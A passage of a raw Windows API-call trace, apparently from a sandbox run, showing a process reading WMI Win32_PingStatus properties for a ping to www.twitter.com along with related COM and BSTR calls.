returned 0x14 [0162.966] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.967] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6b20*=0, plFlavor=0x22a6b24*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a6b20*=8, plFlavor=0x22a6b24*=64) returned 0x0 [0162.967] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.967] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.967] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0162.967] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0162.967] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.967] IWbemClassObject:Get (in: This=0x5f6b650, wszName="WriteWarningStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6d58*=0, plFlavor=0x22a6d5c*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a6d58*=0, plFlavor=0x22a6d5c*=0) returned 0x80041002 [0162.967] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0162.968] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5fc3e80) returned 0x0 [0162.969] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e80, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0162.969] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5fc3e80, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5fc3ea0) returned 0x0 [0162.969] WbemStatusCodeText:IUnknown:Release (This=0x5fc3e80) returned 0x0 [0162.969] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ea0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5fc3ea0) returned 0x0 [0162.969] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ea0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0162.969] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3ea0) returned 0x3 [0162.969] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ea0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0162.969] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ea0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0162.969] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ea0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0162.969] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0162.970] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0162.970] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ea0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0162.970] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ea0) returned 0x2 [0162.970] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ea0) returned 0x1 [0162.970] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0162.970] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0162.970] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3ea0, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5fc3ea0) returned 0x0 [0162.970] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3ea0) returned 0x3 [0162.970] WbemStatusCodeText:IUnknown:Release (This=0x5fc3ea0) returned 0x2 [0162.970] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5fc3ea0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0162.970] SysStringByteLen (bstr="Not found ") returned 0x14 [0162.971] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0162.971] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0162.971] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.971] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0162.971] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0162.971] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.971] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0162.972] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0162.972] SafeArrayGetDim (psa=0x5f8aeb0) returned 0x1 [0162.972] SafeArrayGetLBound (in: psa=0x5f8aeb0, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0162.972] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.972] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.972] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.972] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.972] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.972] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.972] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.972] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.972] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.972] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.972] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.972] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.972] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.972] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.972] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.972] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.972] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.972] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.972] SysStringByteLen (bstr="__PATH") returned 0xc [0162.973] SysStringByteLen (bstr="__PATH") returned 0xc [0162.973] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7138*=0, plFlavor=0x22a713c*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22a7138*=3, plFlavor=0x22a713c*=64) returned 0x0 [0162.973] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__CLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a716c*=0, plFlavor=0x22a7170*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a716c*=8, plFlavor=0x22a7170*=64) returned 0x0 [0162.973] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.973] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.973] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a71c4*=0, plFlavor=0x22a71c8*=0 | out: pVal=0x5bde9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a71c4*=8, plFlavor=0x22a71c8*=64) returned 0x0 [0162.973] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DYNASTY", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a71ec*=0, plFlavor=0x22a71f0*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22a71ec*=8, plFlavor=0x22a71f0*=64) returned 0x0 [0162.973] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.973] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0162.973] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__RELPATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7244*=0, plFlavor=0x22a7248*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a7244*=8, plFlavor=0x22a7248*=64) returned 0x0 [0162.974] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.974] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0162.974] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7420*=0, plFlavor=0x22a7424*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22a7420*=3, plFlavor=0x22a7424*=64) returned 0x0 [0162.974] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__DERIVATION", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7454*=0, plFlavor=0x22a7458*=0 | out: pVal=0x5bde9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8ae80*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3e80, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22a7454*=8200, plFlavor=0x22a7458*=64) returned 0x0 [0162.974] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__SERVER", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7488*=0, plFlavor=0x22a748c*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22a7488*=8, plFlavor=0x22a748c*=64) returned 0x0 [0162.974] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.974] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.974] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a74d4*=0, plFlavor=0x22a74d8*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22a74d4*=8, plFlavor=0x22a74d8*=64) returned 0x0 [0162.975] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.975] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0162.975] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__PATH", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7520*=0, plFlavor=0x22a7524*=0 | out: pVal=0x5bde9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22a7520*=8, plFlavor=0x22a7524*=64) returned 0x0 [0162.975] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.975] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0162.975] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdea10 | out: puCount=0x5bdea10*=0x2) returned 0x0 [0162.975] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdea0c*=0xf, pszText=0x0) returned 0x0 [0162.975] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.975] IWbemClassObject:Get (in: This=0x5f6b650, wszName="WriteVerboseStream", lFlags=0, pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7758*=0, plFlavor=0x22a775c*=0 | out: pVal=0x5bdea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7758*=0, plFlavor=0x22a775c*=0) returned 0x80041002 [0162.975] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x5bde9f0 | out: pperrinfo=0x5bde9f0*=0x0) returned 0x1 [0162.976] CoGetClassObject (in: rclsid=0x5f6dc04*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5bde650 | out: ppv=0x5bde650*=0x5fc3e80) returned 0x0 [0162.977] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3e80, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5bde868 | out: ppvObject=0x5bde868*=0x0) returned 0x80004002 [0162.977] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5fc3e80, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde874 | out: ppvObject=0x5bde874*=0x5fc3eb0) returned 0x0 [0162.977] WbemStatusCodeText:IUnknown:Release (This=0x5fc3e80) returned 0x0 [0162.977] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3eb0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde494 | out: ppvObject=0x5bde494*=0x5fc3eb0) returned 0x0 [0162.977] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3eb0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5bde448 | out: ppvObject=0x5bde448*=0x0) returned 0x80004002 [0162.977] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3eb0) returned 0x3 [0162.989] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3eb0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5bddda4 | out: ppvObject=0x5bddda4*=0x0) returned 0x80004002 [0162.989] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3eb0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5bddd54 | out: ppvObject=0x5bddd54*=0x0) returned 0x80004002 [0162.989] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3eb0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bddd60 | out: ppvObject=0x5bddd60*=0x0) returned 0x80004002 [0162.989] CoGetContextToken (in: pToken=0x5bdddc0 | out: pToken=0x5bdddc0) returned 0x0 [0162.989] CoGetContextToken (in: pToken=0x5bde1d4 | out: pToken=0x5bde1d4) returned 0x0 [0162.989] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3eb0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5bde254 | out: ppvObject=0x5bde254*=0x0) returned 0x80004002 [0162.989] WbemStatusCodeText:IUnknown:Release (This=0x5fc3eb0) returned 0x2 [0162.989] WbemStatusCodeText:IUnknown:Release (This=0x5fc3eb0) returned 0x1 [0162.990] CoGetContextToken (in: pToken=0x5bde854 | out: pToken=0x5bde854) returned 0x0 [0162.990] CoGetContextToken (in: pToken=0x5bde7b4 | out: pToken=0x5bde7b4) returned 0x0 [0162.990] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5fc3eb0, riid=0x5bde884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x5bde880 | out: ppvObject=0x5bde880*=0x5fc3eb0) returned 0x0 [0162.990] WbemStatusCodeText:IUnknown:AddRef (This=0x5fc3eb0) returned 0x3 [0162.990] WbemStatusCodeText:IUnknown:Release (This=0x5fc3eb0) returned 0x2 [0162.990] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5fc3eb0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x5bde9e4 | out: MessageText=0x5bde9e4*="Not found ") returned 0x0 [0162.990] SysStringByteLen (bstr="Not found ") returned 0x14 [0162.991] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0162.991] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0162.991] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.991] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde9d4 | out: puCount=0x5bde9d4*=0x2) returned 0x0 [0162.991] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0x0, pszText=0x0 | out: puBuffLength=0x5bde9d0*=0xf, pszText=0x0) returned 0x0 [0162.991] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.991] IWbemClassObject:GetNames (in: This=0x5f6b650, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde9d0 | out: pNames=0x5bde9d0*="\x01ƀ\x04") returned 0x0 [0162.991] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.991] SafeArrayGetDim (psa=0x5f8af10) returned 0x1 [0162.992] SafeArrayGetLBound (in: psa=0x5f8af10, nDim=0x1, plLbound=0x5bde868 | out: plLbound=0x5bde868) returned 0x0 [0162.992] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.992] SysStringByteLen (bstr="__GENUS") returned 0xe [0162.992] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.992] SysStringByteLen (bstr="__CLASS") returned 0xe [0162.992] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.992] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0162.992] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.992] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0162.992] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.992] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0162.992] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.992] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0162.992] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.992] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0162.992] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.992] SysStringByteLen (bstr="__SERVER") returned 0x10 [0162.992] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.992] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0162.992] SysStringByteLen (bstr="__PATH") returned 0xc [0162.992] SysStringByteLen (bstr="__PATH") returned 0xc [0162.993] IWbemClassObject:Get (in: This=0x5f6b650, wszName="__GENUS", lFlags=0, pVal=0x5bde9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22a7b38*=0, plFlavor=0x22a7b3c*=0 | out: pVal=0x5bde9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22a7b38*=3, plFlavor=0x22a7b3c*=64) returned 0x0 